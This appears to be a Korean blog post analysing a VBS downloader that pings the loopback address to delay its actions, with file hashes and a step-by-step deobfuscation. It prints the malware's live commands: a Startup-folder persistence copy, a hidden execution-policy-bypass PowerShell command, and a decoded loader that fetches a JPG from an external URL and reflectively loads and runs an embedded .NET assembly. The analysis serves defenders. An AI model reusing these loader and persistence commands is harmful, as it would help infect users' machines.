멀웨어가 악성 행위 전 Ping 을 하는 이유

멀웨어가 악성 행위 전 Ping 을 하는 이유

멀웨어에서 Ping을 쓰는 이유

종종 멀웨어를 분석하다보면 본격적인 악성 행위에 앞서 cmd.exe,powershell.exe , 등을 통해 루프백 주소(127.0.0.1)로 ping 보내는 경우가 있다. ping 을 보내는 행위 자체는 악성 행위와 아무런 연관이 없기 때문에 처음 이런 동작을 보면 의아해하기 마련이다. 하지만

멀웨어에서 루프백 주소로 ping 을 하는 이유는 대체로 아래와 같다.

  1. 코드 실행 타이밍 조절
    • 특정 이벤트 후 다음 명령 실행하기까지 딜레이가 필요할 때 사용한다.
    • 예를 들어 보안 프로그램 종료 후 악성 행위 실행, 또는 다른 악성 프로세스가 어느 정도 실행된 후 자신의 코드를 실행해야 하는 경우다.
  2. AV(안티바이러스) 및 샌드박스 우회
    • 안티 바이러스 프로그램, 샌드박스 환경의 탐지를 피하기 위해 일정 시간 후 악성 행위 실행이 필요한 경우.
  3. 시스템 부팅 후 안정적인 실행 보장
    • 시스템 부팅 후 네트워크 연결 완료, 등 시스템이 안정화될 때까지 대기할 필요가 있는 경우.

결국 ping 을 쓰는 근본적인 이유는 공격자가 악성 행위를 실행할 타이밍을 조절하기 위한 것이라 요약할 수 있다.

멀웨어 분석

앞서 본 것과 같이 악성 행위 전 루프백으로 ping 을 쏘는 악성 VBS 스크립트를 분석해보자.

파일 정보

  • MD5 : 932031ACE12970E0B4EBBF866CAEBF8D
  • SHA1 : 83C48BF1A066ADF5C8A32CB14187AF5697778B5C
  • 파일 타입 : VBS
  • 분류 : 다운로더

분석

VBS 스크립트는 다수의 더미 데이터와 난독화된 스크립트로 이루어져 있다. 스크립트의 핵심을 요약하면 CreateObject() 메서드로 WScript.Shell 오브젝트를 생성 후, 오브젝트의 Run() 메서드에 악성 cmd, powershell 명령어를 전달하여 실행한다.

첫 번째 Run 메서드 실행 스크립트

첫 번재 Run() 메서드가 호출될 때 아래와 같은 명령어가 실행된다.

첫 번째 Run 이 실행하는 명령어

이 명령어는 ping 을 10번 실행해 시간을 끈 후, powershell 로 Startup 경로에 자기 자신을 복사한다. 이렇게 복사된 악성 VBS 는 시스템이 재부팅되면 자동으로 재실행된다.

"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\{Username}\Desktop\932031ACE12970E0B4EBBF866CAEBF8D.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etnarugif.vbs')')

두 번째로 실행되는 Run() 메서드는 다음과 같다.

두 번째 Run 메서드 실행 스크립트
두 번째 Run 이 실행하는 명령어

이 명령어는 본격적인 악성 행위를 실행하는 powershell 스크립트다. Base64 인코딩된 문자열을 디코딩 후, hidden 상태로 실행한다.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwgPSAnKyd7MCcrJ31odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8nKycyMDI0MTAvRGV0YWhOb3RlX1YuanBnIHswfTt7MX13ZWJDbGllbnQgPSAnKydOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQuRG93bmxvYWREYXRhKHsxfWltYWdlVXInKydsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmcnKyddOjpVVEY4LkdldFN0cmluZygnKyd7MX1pbWFnZUJ5dGVzKTsnKyd7MX1zdGFydEZsYWcnKycgPSB7MH08JysnPEJBU0U2NF9TVEEnKydSVD4+ezAnKyd9O3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnsnKycwfTt7MX1zdCcrJ2FydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9ICcrJ3sxfWltYWdlVGV4dC5JbmRleE9mKHsxfScrJ2VuZEZsYWcpO3sxfXN0YXJ0SW5kZXggLWdlIDAgLWFuZCB7MX1lbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7ezF9YmFzZTY0TGVuZ3RoID0gezF9ZW5kSW5kZXggLSB7MX1zJysndGFydEluZGV4O3sxfScrJ2JhJysncycrJ2U2NENvbW0nKydhbmQgPSB7MX1pbWFnZVRleHQuUycrJ3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dCcrJ2VzJysnID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWInKydseV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfScrJyk7ezF9dmFpTWV0aG9kLkludm9rZSh7MX1udScrJ2xsLCBAKHswfTAvMkdmMkEvZC9lZS5ldHNhcC8vOnNwdHRoezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MCcrJ31kZScrJ3NhdGl2YWRvezB9LCB7MH1kZXNhdGl2YWRvezB9LCB7MH0xezB9LCB7MH1hcHBpZHRlbHswfSkpOycpIC1mW0NIQVJdMzksW0NIQVJdMzYpfC4oIChbc3RyaU5nXSR2ZVJCb3NlUHJFZkVyZW5jRSlbMSwzXSsneCctSm9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

CyberChef 로 Base64 를 디코딩하면 아래와 같다.

CyberChef 로 Base64 디코딩한 결과

이 또한 난독화된 powershell 스크립트다.

(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')

난독화된 위 스크립트를 PowerDecode 로 복호화하면 아래와 같이 정리된다.

$imageUrl = 'https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg ';
$webClient = New-Object System.Net.WebClient;
$imageBytes = $webClient.DownloadData($imageUrl);
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
$startIndex -ge 0 -and $endIndex -gt $startIndex;
$startIndex += $startFlag.Length;
$base64Length = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Length);
$commandBytes = [System.Convert]::FromBase64String($base64Command);
$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
$vaiMethod = [dnlib.IO.Home].GetMethod('VAI');
$vaiMethod.Invoke($null, @('0/2Gf2A/d/ee.etsap//:sptth', 'desativado', 'desativado', 'desativado', 'desativado', '1', 'appidtel'));

위 스크립트는 크게 3개로 나눌 수 있다. 상단 부분은 공격자가 운영하는 서버로부터 jpg 파일을 다운로드한다.

$imageUrl = 'https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg ';
$webClient = New-Object System.Net.WebClient;
$imageBytes = $webClient.DownloadData($imageUrl);
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);

중단 부분의 스크립트는 다운로드한 파일에서 <<BASE64_START>>, <<BASE64_END>> 라는 문자열을 찾아 그 사이의 문자열을 읽고 Base64 디코딩한다.

$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
$startIndex -ge 0 -and $endIndex -gt $startIndex;
$startIndex += $startFlag.Length;
$base64Length = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Length);
$commandBytes = [System.Convert]::FromBase64String($base64Command);

마지막 스크립트는 Base64 디코딩한 바이너리 코드를 로딩한 후, 로딩한 코드에서 VAI 라는 메서드에 지정한 인자를 전달하여 실행한다.

$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
$vaiMethod = [dnlib.IO.Home].GetMethod('VAI');
$vaiMethod.Invoke($null, @('0/2Gf2A/d/ee.etsap//:sptth', 'desativado', 'desativado', 'desativado', 'desativado', '1', 'appidtel'));

현재로서는 jpg 파일을 다운로드할 수 없어 이 이상의 분석은 진행할 수 없었다.

현재는 다운로드할 수 없는 jpg 파일